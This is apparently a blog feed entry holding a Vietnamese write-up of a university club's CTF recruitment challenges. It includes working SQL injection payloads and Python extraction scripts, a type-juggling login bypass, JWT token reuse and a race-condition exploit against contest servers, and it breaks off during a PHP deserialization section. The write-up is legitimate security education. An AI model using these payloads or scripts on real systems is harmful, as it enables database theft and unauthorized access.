<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[KCSC's things]]></title><description><![CDATA[KCSC's things]]></description><link>https://blog.kcsc.edu.vn</link><generator>RSS for Node</generator><lastBuildDate>Fri, 10 Apr 2026 09:50:50 GMT</lastBuildDate><atom:link href="https://blog.kcsc.edu.vn/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Write Up Tuyển Thành Viên KCSC 2025]]></title><description><![CDATA[I. Web
Cre: dunvu0
Check member
<?php
if(isset($_GET['name'])){
    $name = $_GET['name'];
    if(substr_count($name,'(') > 1){
        die('Dont :(');
    }
    $mysqli = new mysqli("mysql-db", "kcsc", "kcsc", "ctf", 3306);

    $result = $mysqli->q...]]></description><link>https://blog.kcsc.edu.vn/write-up-tuyen-thanh-vien-2025</link><guid isPermaLink="true">https://blog.kcsc.edu.vn/write-up-tuyen-thanh-vien-2025</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Kim Ngọc]]></dc:creator><pubDate>Sat, 08 Nov 2025 10:31:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764853771452/006ffede-c005-46c4-b345-015d535e7e60.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-i-web">I. Web</h2>
<p><strong>Cre: dunvu0</strong></p>
<h3 id="heading-check-member">Check member</h3>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'name'</span>])){
    $name = $_GET[<span class="hljs-string">'name'</span>];
    <span class="hljs-keyword">if</span>(substr_count($name,<span class="hljs-string">'('</span>) &gt; <span class="hljs-number">1</span>){
        <span class="hljs-keyword">die</span>(<span class="hljs-string">'Dont :('</span>);
    }
    $mysqli = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-string">"mysql-db"</span>, <span class="hljs-string">"kcsc"</span>, <span class="hljs-string">"kcsc"</span>, <span class="hljs-string">"ctf"</span>, <span class="hljs-number">3306</span>);

    $result = $mysqli-&gt;query(<span class="hljs-string">"SELECT 1 FROM members WHERE name = '<span class="hljs-subst">$name</span>'"</span>)-&gt;fetch_assoc();
    <span class="hljs-keyword">if</span>($result){
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'Found :)'</span>;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"Not found :("</span>;
    }
    $mysqli-&gt;close();
    <span class="hljs-keyword">die</span>();
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Ở challenge này dễ thấy được có bug SQL injection tại biến <code>$_GET['name']</code></p>
<p>Cụ thể trang web thực hiện lệnh truy vấn <code>SELECT 1 FROM members WHERE name = '$name'</code> - nếu câu truy vấn có kết quả thì trang web trả về chuỗi <code>Found :)</code>, và ngược lại</p>
<p>-&gt; Đây là dạng blind boolean-based sqli.</p>
<p>Bình thường mình sẽ dùng những hàm như <code>substring()</code>, <code>mid()</code>... để extract từng ký tự</p>
<p>Tuy nhiên bài này filter ký tự <code>(</code> khiến việc sử dụng nhiều hàm gặp khó khăn:</p>
<pre><code class="lang-php">    <span class="hljs-keyword">if</span>(substr_count($name,<span class="hljs-string">'('</span>) &gt; <span class="hljs-number">1</span>){
        <span class="hljs-keyword">die</span>(<span class="hljs-string">'Dont :('</span>);
    }
</code></pre>
<p>-&gt; Mình sử dụng các toán tử <strong>REGEXP</strong>, <strong>LIKE</strong>... để bypass</p>
<p>Và ở câu lệnh sql trên đang thực hiện truy vấn trên bảng <code>members</code> - mà flag mình cần thì ở bảng <code>secrets</code> nên mình cần phải tìm cách để control được điều kiện trả về đúng/sai của lệnh sql</p>
<p><strong>Điều kiện đúng:</strong></p>
<pre><code class="lang-sql">mysql&gt;  <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span> <span class="hljs-keyword">FROM</span> members <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">name</span> = <span class="hljs-string">'foo'</span>  <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> (<span class="hljs-keyword">select</span> flag <span class="hljs-keyword">from</span> secrets <span class="hljs-keyword">where</span> flag <span class="hljs-keyword">like</span> <span class="hljs-string">'kcsc{%'</span>);
+<span class="hljs-comment">---+</span>
| 1 |
+<span class="hljs-comment">---+</span>
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+<span class="hljs-comment">---+</span>
7 rows in <span class="hljs-keyword">set</span> (<span class="hljs-number">0.00</span> sec)
</code></pre>
<p>Câu subquery là kiểu string và kết hợp với toán tử NOT thì</p>
<pre><code class="lang-sql">mysql&gt; <span class="hljs-keyword">select</span> <span class="hljs-keyword">not</span> <span class="hljs-string">'blabla'</span>;
+<span class="hljs-comment">--------------+</span>
| not 'blabla' |
+<span class="hljs-comment">--------------+</span>
|            1 |
+<span class="hljs-comment">--------------+</span>
1 row in <span class="hljs-keyword">set</span>, <span class="hljs-number">1</span> <span class="hljs-keyword">warning</span> (<span class="hljs-number">0.00</span> sec)
</code></pre>
<p>-&gt; NOT 'blabla' tương đương với True</p>
<p><strong>Điều kiện sai:</strong></p>
<pre><code class="lang-sql">mysql&gt;  <span class="hljs-keyword">SELECT</span> <span class="hljs-number">1</span> <span class="hljs-keyword">FROM</span> members <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">name</span> = <span class="hljs-string">'foo'</span>  <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> (<span class="hljs-keyword">select</span> flag <span class="hljs-keyword">from</span> secrets <span class="hljs-keyword">where</span> flag <span class="hljs-keyword">like</span> <span class="hljs-string">'lmao%'</span>);

Empty <span class="hljs-keyword">set</span> (<span class="hljs-number">0.00</span> sec)
</code></pre>
<p>Câu subquery khi không trả về kết quả sẽ tương đương với <a target="_blank" href="https://dev.mysql.com/doc/refman/8.0/en/row-subqueries.html">NULL</a></p>
<p>Nhưng NOT NULL vẫn là NULL</p>
<ul>
<li><pre><code class="lang-sql">      mysql&gt; <span class="hljs-keyword">SELECT</span> <span class="hljs-keyword">NOT</span> <span class="hljs-literal">NULL</span>;
              -&gt; NULL
</code></pre>
</li>
</ul>
<p><strong>Payload:</strong></p>
<pre><code class="lang-sql">GET index.php?name=foo'  or not (<span class="hljs-keyword">select</span> flag <span class="hljs-keyword">from</span> secrets <span class="hljs-keyword">where</span> flag <span class="hljs-keyword">like</span> <span class="hljs-string">'kcsc{%'</span>)<span class="hljs-string">`</span>
</code></pre>
<ul>
<li><a target="_blank" href="http://solve.py"><code>solve.py</code></a></li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> requests, string

burp0_url = <span class="hljs-string">"http://36.50.177.41:40009/index.php"</span>
burp0_cookies = {<span class="hljs-string">"PHPSESSID"</span>: <span class="hljs-string">"2a84b16a4971c0c06a98bb48e6ce7e39"</span>}

flag = <span class="hljs-string">"kcsc{"</span>
charsets = string.ascii_letters + string.digits + <span class="hljs-string">"_{}"</span> 

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> charsets:
        payload =  { <span class="hljs-string">"name"</span> : <span class="hljs-string">f"foo' or not (select flag from secrets where flag like '<span class="hljs-subst">{flag + char}</span>%')-- -"</span>}
        r = requests.get(burp0_url, cookies=burp0_cookies, params=payload)

        <span class="hljs-keyword">if</span> r.text.find(<span class="hljs-string">"Found :)"</span>) != <span class="hljs-number">-1</span>:
            flag += char
            print(flag)
            <span class="hljs-keyword">break</span>
</code></pre>
<blockquote>
<p><em>Flag: KCSC{sql_injection_that_de_dung_khong_nao}</em></p>
</blockquote>
<h3 id="heading-login-system">Login system</h3>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> ($_SERVER[<span class="hljs-string">'REQUEST_METHOD'</span>] === <span class="hljs-string">'POST'</span>) {
    @$data = json_decode(file_get_contents(<span class="hljs-string">"php://input"</span>));
    $username = $data-&gt;{<span class="hljs-string">'username'</span>} ?? <span class="hljs-string">''</span>;
    $password = $data-&gt;{<span class="hljs-string">'password'</span>} ?? <span class="hljs-string">''</span>;

    <span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>($users[$username])) {
        $error = <span class="hljs-string">"User not found!!!"</span>;
        <span class="hljs-keyword">echo</span> json_encode([<span class="hljs-string">'error'</span> =&gt; $error]);
        <span class="hljs-keyword">exit</span>;
    } <span class="hljs-keyword">elseif</span> ($users[$username] == $password) {
        $_SESSION[<span class="hljs-string">'user'</span>] = $username; 
        <span class="hljs-keyword">echo</span> json_encode([<span class="hljs-string">'success'</span> =&gt; <span class="hljs-literal">true</span>, <span class="hljs-string">'redirect'</span> =&gt; <span class="hljs-string">'?dashboard'</span>]);
        <span class="hljs-keyword">exit</span>;
    } <span class="hljs-keyword">else</span> {
        $error = <span class="hljs-string">"Incorrect password!!!"</span>;
        <span class="hljs-keyword">echo</span> json_encode([<span class="hljs-string">'error'</span> =&gt; $error]);
        <span class="hljs-keyword">exit</span>;
    }
}
</code></pre>
<p>Có bug <a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling#loose-comparison">Loose comparision</a> ở biến <code>password</code></p>
<p>'aaa' == 0</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">if</span>(<span class="hljs-string">'aaa'</span> == <span class="hljs-number">0</span>){
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"YES"</span>;
}
<span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"NOPE"</span>;
}
<span class="hljs-comment">// YESS</span>
</code></pre>
<p>intercept rồi sửa request với credential <code>{"username":"admin","password": 0 }</code></p>
<blockquote>
<p><em>Flag: KCSC{u_are_admin&lt;333333333}</em></p>
</blockquote>
<h3 id="heading-writebychatgpt">write_by_chatgpt</h3>
<p><strong>Để lấy được flag ta cần phải login thành công.</strong></p>
<p>Có lỗi ở tính năng reset password</p>
<pre><code class="lang-javascript">app.post(<span class="hljs-string">'/reset-password-request'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> username = <span class="hljs-built_in">String</span>(req.body.username);

    <span class="hljs-keyword">const</span> sql = <span class="hljs-string">`SELECT * FROM users WHERE username = ?`</span>;
    db.get(sql, [username], <span class="hljs-function">(<span class="hljs-params">err, user</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err || !user) {
            <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'User not found'</span>);
        }

        <span class="hljs-keyword">const</span> resetToken = jwt.sign({ <span class="hljs-attr">id</span>: user.id, <span class="hljs-attr">username</span>: user.username }, JWT_SECRET, { <span class="hljs-attr">expiresIn</span>: <span class="hljs-string">'10m'</span> });

        <span class="hljs-keyword">const</span> resetLink = <span class="hljs-string">`http://localhost:<span class="hljs-subst">${PORT}</span>/reset-password/<span class="hljs-subst">${resetToken}</span>`</span>;

        <span class="hljs-comment">//In construction</span>
        res.send(<span class="hljs-string">'Password reset link sent to your email'</span>);
        res.send(resetLink);

    });
});

app.post(<span class="hljs-string">'/reset-password/:token'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> { token } = req.params;
    <span class="hljs-keyword">const</span> newPassword = <span class="hljs-built_in">String</span>(req.body.newPassword);

    <span class="hljs-keyword">if</span>(!uuidRegex.test(newPassword)) <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">"Invalid new password"</span>)
    jwt.verify(token, JWT_SECRET, <span class="hljs-function">(<span class="hljs-params">err, decoded</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
            <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Invalid or expired reset token'</span>);
        }

        bcrypt.hash(newPassword, <span class="hljs-number">10</span>, <span class="hljs-function">(<span class="hljs-params">err, hashedPassword</span>) =&gt;</span> {
            <span class="hljs-keyword">if</span> (err) {
                <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).send(<span class="hljs-string">'Error hashing password'</span>);
            }

            <span class="hljs-keyword">const</span> sql = <span class="hljs-string">`UPDATE users SET password = ? WHERE id = ?`</span>;
            db.run(sql, [hashedPassword, decoded.id], <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{
                <span class="hljs-keyword">if</span> (err) {
                    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).send(<span class="hljs-string">'Error updating password'</span>);
                }
                res.send(<span class="hljs-string">'Password successfully reset'</span>);
            });
        });
    });
});
</code></pre>
<p>Nó chỉ verify jwt token BẤT KÌ có hợp lệ hay không thay vì verify <code>resetToken</code></p>
<p>-&gt; Vậy mình có tái sử dụng token cũ được tạo lúc register để reset password</p>
<p><img src="https://hackmd.io/_uploads/BJlKhDiwye.png" alt="image" /></p>
<p><strong>Exploit</strong></p>
<ol>
<li><p>Tạo một pw bất kỳ thỏa mãn hàm <code>uuidRegex()</code>: <code>123e4567-e89b-12d3-a456-426614174000</code></p>
</li>
<li><p>Tiếp tục request tới <strong>/reset-password/:token</strong></p>
<p> <img src="https://hackmd.io/_uploads/ByvNavov1x.png" alt="{808EC084-9A2D-49EC-ACEE-61E8C8E4421E}" /></p>
</li>
<li><p>Login với credential <code>dunvu0:123e4567-e89b-12d3-a456-426614174000</code> lấy flag</p>
<p> <img src="https://hackmd.io/_uploads/Hk1FTPiwJx.png" alt="{FA5FC06A-83E2-47EB-BB5B-A7D2A96B3FC1}" /></p>
</li>
</ol>
<blockquote>
<p><em>Flag: KCSC{alternative_for_view_src_html_warmup_challenge}</em></p>
</blockquote>
<h3 id="heading-yugiohshop">yugioh_shop</h3>
<p>Để lấy flag ta cần mua đủ bộ 5 lá bài <strong>"Exodia"</strong></p>
<p>Tính năng <code>/buy</code> và <code>/sell</code> sử dụng quá nhiều lệnh truy vấn sql tới database để kiểm tra trạng thái user =&gt; khả năng có lỗi race condition ở đây</p>
<pre><code class="lang-python"><span class="hljs-meta">@app.route("/sell/&lt;int:item_id&gt;")</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sell</span>(<span class="hljs-params">item_id</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-string">"user_id"</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> session:
        <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/login"</span>)
    user = query_db(<span class="hljs-string">"SELECT * FROM users WHERE id = ?"</span>, [session[<span class="hljs-string">"user_id"</span>]], one=<span class="hljs-literal">True</span>)
    transaction = query_db(<span class="hljs-string">"SELECT * FROM transactions WHERE user_id = ? AND item_id = ?"</span>, [user[<span class="hljs-number">0</span>], item_id], one=<span class="hljs-literal">True</span>)
    <span class="hljs-keyword">if</span> transaction:
        item = query_db(<span class="hljs-string">"SELECT * FROM items WHERE id = ?"</span>, [item_id], one=<span class="hljs-literal">True</span>)
        query_db(<span class="hljs-string">"DELETE FROM transactions WHERE id = ?"</span>, [transaction[<span class="hljs-number">0</span>]])
        query_db(<span class="hljs-string">"UPDATE users SET balance = balance + ? WHERE id = ?"</span>, [item[<span class="hljs-number">2</span>], user[<span class="hljs-number">0</span>]])
        flash(<span class="hljs-string">f"You sold <span class="hljs-subst">{item[<span class="hljs-number">1</span>]}</span>!"</span>, <span class="hljs-string">"success"</span>)
    <span class="hljs-keyword">else</span>:
        flash(<span class="hljs-string">"You don't own this item."</span>, <span class="hljs-string">"danger"</span>)
    <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)
</code></pre>
<p>Vì được cấp sẵn 100k để mua 1 lá bài, mình sẽ sử dụng <a target="_blank" href="https://www.hackingarticles.in/exploiting-race-condition-using-turbo-intruder/">burp intruder</a> để tiến hành bán liên tục.</p>
<p>Gửi request với <code>null payload</code> option, <code>max_concurrent_request</code> tầm 50</p>
<p><img src="https://hackmd.io/_uploads/ByD9ROsDJe.png" alt="{F5A4BE10-4706-4D45-B23E-2D0608CFE2EE}" /></p>
<p>-&gt; Confirm có lỗi, số dư của mình đã tăng</p>
<p>Mình lặp lại thao tác mua bán thêm vài lần cho tới khi đủ tiền mua đủ bộ 5 lá</p>
<p><img src="https://hackmd.io/_uploads/HkPnyFivyl.png" alt="{D44C9170-D08E-4F0D-B3AE-CB3FF0EE1975}" /></p>
<p>Truy cập <code>/exodia</code> and get flag</p>
<blockquote>
<p><em>Flag: KCSC{easy_challenge_but_the vuln_isnt_popular_with_newbies}</em></p>
</blockquote>
<h3 id="heading-final-mission">final mission</h3>
<p><img src="https://hackmd.io/_uploads/rkACQosvJe.png" alt="{D88EBC49-8C23-4593-9818-25E5E2F7275B}" /></p>
<p>Sau khi tạo tài khoản và đăng nhập, ta được redirect đến <code>/admin.php</code> nhưng gặp lỗi 403 access denied</p>
<p>Ở chall này flag có hai phần, trước hết mình phải khai thác sqli để lấy được <strong>Part_1</strong></p>
<p><strong>Flag_1</strong></p>
<ul>
<li><code>admin.php</code></li>
</ul>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">'db.php'</span>;
<span class="hljs-keyword">require</span> <span class="hljs-string">'utils.php'</span>;

session_start();

$stmt= $pdo-&gt;query(<span class="hljs-string">"select * from secret"</span>);
$result = $stmt-&gt;fetch();
$tokenSecret = $_GET[<span class="hljs-string">'secret'</span>];
<span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>($_SESSION[<span class="hljs-string">'user'</span>])||!<span class="hljs-keyword">isset</span>($_COOKIE[<span class="hljs-string">'Token'</span>])||$result[<span class="hljs-string">'secret_key'</span>]!==$tokenSecret) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"Access denied!"</span>);
}

$user= $_COOKIE[<span class="hljs-string">'Token'</span>];

$userdata = unserialize(base64_decode($user));

<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Để truy cập vào <code>admin.php</code> ta cần <code>$secret_key</code></p>
<p><code>$secret_key</code> được lưu trong database cùng với <code>Flag_1</code></p>
<pre><code class="lang-php">CREATE TABLE users (
    id <span class="hljs-keyword">INT</span> AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(<span class="hljs-number">255</span>) NOT <span class="hljs-literal">NULL</span> UNIQUE,
    password VARCHAR(<span class="hljs-number">255</span>) NOT <span class="hljs-literal">NULL</span>
);

CREATE TABLE secret (
    id <span class="hljs-keyword">INT</span> AUTO_INCREMENT PRIMARY KEY,
    secret_key VARCHAR(<span class="hljs-number">255</span>) NOT <span class="hljs-literal">NULL</span>
);
CREATE TABLE flagggg (
    id <span class="hljs-keyword">INT</span> AUTO_INCREMENT PRIMARY KEY,
    flag_1 VARCHAR(<span class="hljs-number">255</span>) NOT <span class="hljs-literal">NULL</span>
);

INSERT INTO users (username,password) VALUES (<span class="hljs-string">'hoshino'</span>,<span class="hljs-string">'PASS_TEST'</span>);
INSERT INTO secret (secret_key) VALUES (<span class="hljs-string">'SECRET_TEST'</span>);
INSERT INTO flagggg (flag_1) VALUES (<span class="hljs-string">'KCSC{part1'</span>);
</code></pre>
<ul>
<li><code>search.php</code> có vài điểm đáng lưu ý</li>
</ul>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">'db.php'</span>;
session_start();

<span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>($_SESSION[<span class="hljs-string">'user'</span>])) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"Access denied!"</span>);
}
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'search'</span>])){
    $username = sprintf(<span class="hljs-string">"%s"</span>, addslashes($_GET[<span class="hljs-string">"search"</span>]));
    $password= addslashes($_GET[<span class="hljs-string">"search"</span>]);
    $sql = sprintf(<span class="hljs-string">"SELECT * FROM users WHERE username LIKE '<span class="hljs-subst">$username</span>' OR password LIKE '%s'"</span>, $password);

    $stmt= $pdo-&gt;query($sql);
    $result = $stmt-&gt;fetch();
    <span class="hljs-keyword">if</span> ($result) {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"'FOUND "</span>
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"Lỗi: Không tìm thấy thông tin nào phù hợp."</span>
    }
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>-&gt; Ở biến <code>$_GET["search"]</code> dính lỗi sql injection, cụ thể:</p>
<p><code>$username</code> và <code>$password</code> đều nhận giá trị từ param <code>?search=</code> nhưng được xử lý khác nhau với hàm <code>sprintf()</code>, <code>addslashes()</code></p>
<p>Ban đầu mình thử bypass hàm <code>addslashes()</code> với <a target="_blank" href="https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html#gbk-authentication-bypass"><code>GBK encoding</code></a> nhưng no hope...</p>
<p>Sau một hồi stuck mình chuyển hướng thử google về hàm <a target="_blank" href="https://www.php.net/manual/en/function.sprintf.php">sprintf()</a> này:</p>
<p><img src="https://hackmd.io/_uploads/SkmdKzKy-g.png" alt="image" /></p>
<ul>
<li>Usage: <code>%[argnum$] [flags] [width] [.precision]</code></li>
</ul>
<p>Mình có thể format padding như: thêm ký tự padding thay thế bất kỳ</p>
<p><img src="https://hackmd.io/_uploads/rksjW12wJl.png" alt="{48C61DA5-E781-4EF3-B537-55C27F32664A}" /></p>
<p>Và nếu padding là ký tự đặc biệt như <code>\%&amp;*...</code>) thì phải có ký tự <code>\</code> hoặc <code>%</code> đằng trước, vd: <code>%</code> -&gt; <code>\%</code></p>
<p>-&gt; Có thể lợi dụng việc format string của <code>sprintf()</code> để escape hàm <code>addslashes()</code> -&gt; sqli</p>
<p><strong>payload:</strong> <code>%1$\'</code></p>
<p>+ quote <code>'</code> được addslash trở thành <code>%1$\\ '</code></p>
<p>+ <strong>%</strong>: Bắt đầu format.</p>
<p>+ <strong>1$</strong>: Sử dụng tham số đầu tiên. vì $sql = sprintf("SELECT ....LIKE '%s'", $password). "tham số đầu tiên" là password</p>
<p>+ \: Xác định ký tự padding là \</p>
<p>Format này vẫn chưa đúng, nhưng <code>sprintf()</code> hoạt động giống switch case -&gt; khi format không xác định nó sẽ sử dụng giá trị mặc định</p>
<p>Câu lệnh sql khi được escaped:</p>
<p><img src="https://hackmd.io/_uploads/r1LrPJ3Dyg.png" alt="{AEE88AB5-6382-449F-94D9-21334A1742A3}" /></p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username <span class="hljs-keyword">LIKE</span> <span class="hljs-string">' Or........  '</span> <span class="hljs-keyword">Or</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span>;<span class="hljs-comment">-- -%1$\''</span>
</code></pre>
<p><strong>Tham khảo:</strong></p>
<ul>
<li><p><a target="_blank" href="https://github.com/w181496/Web-CTF-Cheatsheet?tab=readme-ov-file#sprintf--vprintf">CheatSheet Web CTF</a></p>
</li>
<li><p><a target="_blank" href="https://wordpress.stackexchange.com/questions/294327/what-does-the-token-1s-in-wordpress-represent">https://wordpress.stackexchange.com/questions/294327/what-does-the-token-1s-in-wordpress-represent</a></p>
</li>
</ul>
<p>Vậy là mình đã có thể inject vào câu query, tiến hành khai thác</p>
<p><a target="_blank" href="http://exploit.py"><strong>exploit.py</strong></a></p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> requests, string

burp0_url = <span class="hljs-string">"http://36.50.177.41:40010/admin.php"</span>
burp0_cookies = {<span class="hljs-string">"PHPSESSID"</span>: <span class="hljs-string">"2a84b16a4971c0c06a98bb48e6ce7e39"</span>, <span class="hljs-string">"session"</span>: <span class="hljs-string">"eyJ1c2VyX2lkIjoyMTF9.Z43_uQ.aTEv5mbmgo5HyXPakyeeiWiyaaI"</span>, <span class="hljs-string">"Token"</span>: <span class="hljs-string">"Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImR1bnZ1byI7czoxMzoiAFVzZXIAaXNBZG1pbiI7TjtzOjg6InBhc3N3b3JkIjtzOjYwOiIkMnkkMTAkRXV1d0E1cDhLRnhxRjZCVi45TGNwdS81eDcucC9RQWVEbDJ4MDlKWUFoUmg5cndOZVdzRjIiO3M6MzoidXJsIjtOO30%3D"</span>}

charset = string.ascii_letters + string.digits + <span class="hljs-string">"_{}"</span>
flag = <span class="hljs-string">""</span>

<span class="hljs-comment"># find length</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, <span class="hljs-number">100</span>):
    payload = <span class="hljs-string">f"?search=or+(select+length(flag_1)=<span class="hljs-subst">{i}</span>+from+flagggg)%3b--+-%1$"</span>
    r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)

    <span class="hljs-keyword">if</span> r.text.find(<span class="hljs-string">"FOUND"</span>) != <span class="hljs-number">-1</span>:
        length = i
        print(<span class="hljs-string">f"password length is: <span class="hljs-subst">{length}</span>"</span>)
        <span class="hljs-keyword">break</span>


<span class="hljs-comment"># find password</span>
<span class="hljs-keyword">for</span> offset <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, length + <span class="hljs-number">1</span>):
    print(<span class="hljs-string">f"round: <span class="hljs-subst">{offset}</span>"</span>)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> charset[::<span class="hljs-number">-1</span>]:
        payload = <span class="hljs-string">f"?search=or+(select+substr(flag_1,<span class="hljs-subst">{offset}</span>,1)=char(<span class="hljs-subst">{ord(i)}</span>)+from+flagggg)%3b--+-%251$\\"</span>
        r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
        <span class="hljs-keyword">if</span> r.text.find(<span class="hljs-string">"FOUND"</span>) != <span class="hljs-number">-1</span>:
            flag+= i
            print(flag)
            <span class="hljs-keyword">break</span>

print(<span class="hljs-string">f"flag is: <span class="hljs-subst">{flag}</span>"</span>)
</code></pre>
<blockquote>
<p><em>Part_1: KCSC{cu_ph4i_g01_l4</em></p>
</blockquote>
<p><strong>Flag_2</strong></p>
<p>Kèm với <code>flag_1</code> ta lấy luôn <code>password</code> của user tên <strong>hoshino</strong> và <code>secret_key</code></p>
<ul>
<li><p>password: <code>doilathethoi</code></p>
</li>
<li><p>secret_key: <code>chang_biet_da_bao_lau_roi_minh_khong_co_nhau</code></p>
</li>
</ul>
<p>Trở lại với <code>admin.php</code>:</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>($_SESSION[<span class="hljs-string">'user'</span>])||!<span class="hljs-keyword">isset</span>($_COOKIE[<span class="hljs-string">'Token'</span>])||$result[<span class="hljs-string">'secret_key'</span>]!==$tokenSecret) {
    <span class="hljs-keyword">die</span>(<span class="hljs-string">"Access denied!"</span>);
}
</code></pre>
<blockquote>
<p>kiểm tra xem session của user có tồn tại hay không, cookie có <code>Token</code> và có cung cấp secret key hay không, nếu có thì sẽ unserialize <code>token</code> cookie.</p>
</blockquote>
<p>-&gt; Vì nó có sử dụng hàm <code>unserialize()</code> -&gt; khả năng có lỗi php deserialize ở đây.</p>
<p>Tại <strong>utils.php</strong> có định nghĩa Class <code>User</code> và một số magic method:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span> 
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span>
</span>{
    <span class="hljs-keyword">public</span> $username;
    <span class="hljs-keyword">private</span> $isAdmin;
    <span class="hljs-keyword">public</span> $password;
    <span class="hljs-keyword">public</span> $url;

    <span class="hljs-comment">// Constructor</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">$username = <span class="hljs-string">""</span>, $password = <span class="hljs-string">""</span>, $url = <span class="hljs-string">""</span></span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;username = $username;
        <span class="hljs-keyword">$this</span>-&gt;password = $password;
        <span class="hljs-keyword">$this</span>-&gt;url = $url;
    }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>{
        <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>-&gt;username === <span class="hljs-string">"hoshino"</span> ){
            <span class="hljs-keyword">$this</span>-&gt;username=<span class="hljs-string">"You are not hoshino"</span>;
        }
        <span class="hljs-keyword">switch</span>(<span class="hljs-keyword">$this</span>-&gt;username){
            <span class="hljs-keyword">case</span> <span class="hljs-string">"hoshino"</span>:
                <span class="hljs-keyword">$this</span>-&gt;isAdmin=<span class="hljs-number">1</span>;
                <span class="hljs-keyword">break</span>;
            <span class="hljs-keyword">default</span>:
                <span class="hljs-keyword">$this</span>-&gt;isAdmin=<span class="hljs-number">0</span>;
        }
    }
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>{
        <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>-&gt;isAdmin){
